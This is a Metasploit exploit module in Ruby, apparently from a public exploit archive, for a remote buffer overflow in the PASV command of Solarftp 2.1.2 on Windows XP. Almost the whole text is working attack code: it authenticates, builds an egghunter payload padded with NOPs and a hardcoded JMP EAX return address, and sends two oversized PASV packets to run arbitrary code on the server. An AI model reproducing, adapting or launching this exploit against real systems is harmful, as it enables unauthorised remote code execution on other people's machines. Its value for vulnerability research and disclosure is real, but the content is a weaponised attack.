Solarftp 2.1.2 PASV Command Buffer Overflow

`# Exploit Title: Solarftp v2.1.2 PASV buffer overflow  
# Date: Aug 17, 2011  
# Author: qnix  
# Software Link: http://solarftp.com/files/solarftps-setup.exe  
# Version: 2.1.2  
# Tested on: Windows XP Universal  
# Detailed info: http://0x80.org/blog/?p=545  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
include Msf::Exploit::Remote::Ftp  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Solarftp 2.1.2 PASV Command Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the PASV command in Solarftp 2.1.2  
You must have valid credentials to trigger this vulnerability. Also, you  
ony get one chance.  
},  
'Author' => 'qnix',  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://0x80.org/blog/?p=545'],  
],  
'DefaultOptions' =>  
{  
'WfsDelay' => 45,  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x20\x0a\x0d",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
#1001BD23 . FFE0 JMP EAX @sfsweb.dll  
[ 'Windows XP Universal', { 'Ret' => 0x1001BD23, 'Offset' => 195} ],  
],  
'DisclosureDate' => 'Aug 17 2011',  
'DefaultTarget' => 0))  
end  
  
  
def exploit  
connect_login  
print_status("Trying target #{target.name}")  
  
print_status("Creating Egg Hunter")  
eggoptions =  
{  
:checksum => true,  
:eggtag => "W00T"  
}  
hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)  
  
fix = "\x11" # To fix some left overs from uncontrolled buffer  
# to avoid access violation.  
pk1 = make_nops(75)  
pk1 << fix  
pk1 << make_nops(20)  
pk1 << hunter  
pk1 << make_nops((100-fix.length-hunter.length))  
pk1 << [target.ret].pack('V')  
pk1 << egg  
pk1 << make_nops(6631-[target.ret].length-target['Offset']-egg.length)  
print_status("Sending first packet...")  
send_cmd( ["PASV",pk1], false)  
  
pk2 = make_nops(3000)  
print_status("Sending second packet...")  
send_cmd( ["PASV",pk2], false)  
  
handler  
disconnect  
end  
  
end  
  
`